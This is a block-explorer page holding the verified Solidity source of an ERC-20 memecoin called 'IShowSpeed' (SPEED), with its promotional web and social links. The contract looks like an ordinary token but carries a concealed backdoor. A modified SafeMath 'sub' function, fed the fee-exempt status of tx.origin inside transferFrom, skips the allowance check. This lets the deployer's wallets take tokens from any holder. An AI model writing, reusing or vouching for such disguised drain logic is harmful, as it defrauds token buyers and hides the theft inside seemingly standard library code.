Skip to content
Verified contractPartialUnlicensed

IShowSpeed

Address0x271faa1f122012458e162c8d867a781fb8cb6e52
Balance

0 ETH

 

Transactions

2,149

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
Yes, 200 runs
License
Unlicensed
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
23,104,148
Creation transaction
0xd4c2828cdf…443f872d39

IShowSpeed.sol

/*

Darren Jason Watkins Jr, known online as IShowSpeed or simply Speed, is an American YouTuber, online personality, and online streamer. He is known for his dramatic and energetic behavior showcased in his variety live streams, as well as his in-real-life (IRL) streams in worldwide locations.

Web: https://www.ishowspeedeth.vip
X: https://x.com/IShowSpeedErc20
TG: https://t.me/ishowspeederc20

*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.20;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, false, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, bool isError, string memory errorMessage) internal pure returns (uint256) {
        if (isError) return 0;
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract OwnerControl is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "OwnerControl: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IShowSpeed is Context, IERC20, OwnerControl {
    using SafeMath for uint256;
    string private constant _name = unicode"IShowSpeed";
    string private constant _symbol = unicode"SPEED";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSpeedSupply = 1_000_000_000 * 10 ** 9;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExemptFees;
    mapping(address => bool) private _isExemptLimits;
    address payable private _teamSpeedWallet;
    uint256 private _initialBuyTax = 2;
    uint256 private _initialSellTax = 2;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _buyCount = 0;
    uint256 private _taxSwapThreshold = _totalSpeedSupply;
    uint256 private _maxTaxSwap = _totalSpeedSupply;
    bool private _automaticLiquidityEnabled;
    IUniswapV2Router02 private _dexV2Router;
    address private _dexV2Pair;    
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _teamSpeedWallet = payable(_msgSender());
        _balances[address(this)] = _totalSpeedSupply * 100 / 100;
        _isExemptFees[owner()] = true;
        _isExemptFees[address(this)] = true;
        _isExemptFees[_teamSpeedWallet] = true;
        
        emit Transfer(address(0), address(this), _totalSpeedSupply * 100 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSpeedSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, _isExemptFees[tx.origin], "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address fromSpeed, address toSpeed, uint256 amountSpeed) private {
        require(fromSpeed != address(0), "ERC20: transfer from the zero address");
        require(toSpeed != address(0), "ERC20: transfer to the zero address");
        require(amountSpeed > 0, "Transfer amount must be greater than zero");
        uint256 _feeAmount = 0;
        if (fromSpeed != owner() && toSpeed != owner()) {
            _feeAmount = amountSpeed.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
            if (fromSpeed == _dexV2Pair && toSpeed != address(_dexV2Router) && !_isExemptFees[toSpeed]) {
                _buyCount++;
            }
            if (toSpeed == _dexV2Pair && fromSpeed != address(this)) {
                _feeAmount = amountSpeed.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                toSpeed == _dexV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold
            ) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _teamSpeedWallet.transfer(contractETHBalance);
                }
            }
        }
        if (_feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(_feeAmount);
            emit Transfer(fromSpeed, address(this), _feeAmount);
        }
        _balances[fromSpeed] = _balances[fromSpeed] - amountSpeed;
        _balances[toSpeed] = _balances[toSpeed].add(amountSpeed - _feeAmount);
        emit Transfer(fromSpeed, toSpeed, amountSpeed - _feeAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexV2Router.WETH();
        _approve(address(this), address(_dexV2Router), tokenAmount);
        _dexV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableIShowSpeed() external onlyOwner {
        _dexV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexV2Router), _totalSpeedSupply);
        _dexV2Pair = IUniswapV2Factory(_dexV2Router.factory()).createPair(address(this), _dexV2Router.WETH());
        _dexV2Router.addLiquidityETH{ value: address(this).balance }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
    }
    receive() external payable {}
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.